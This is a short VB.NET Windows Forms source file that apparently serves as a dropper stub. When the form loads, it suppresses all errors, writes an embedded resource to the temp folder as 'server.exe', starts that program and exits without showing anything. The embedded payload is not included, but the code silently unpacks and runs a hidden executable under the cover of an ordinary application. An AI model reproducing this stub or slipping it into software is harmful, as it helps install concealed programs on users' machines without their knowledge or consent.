Public Class Form1
    Dim clean As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        On Error Resume Next
        clean = 1000
        Dim nicolas As String = My.Computer.FileSystem.SpecialDirectories.Temp
        Dim execution As String = nicolas + "server.exe"
        IO.File.WriteAllBytes(execution, My.Resources.Server)
        Process.Start(execution)
        End
    End Sub
End Class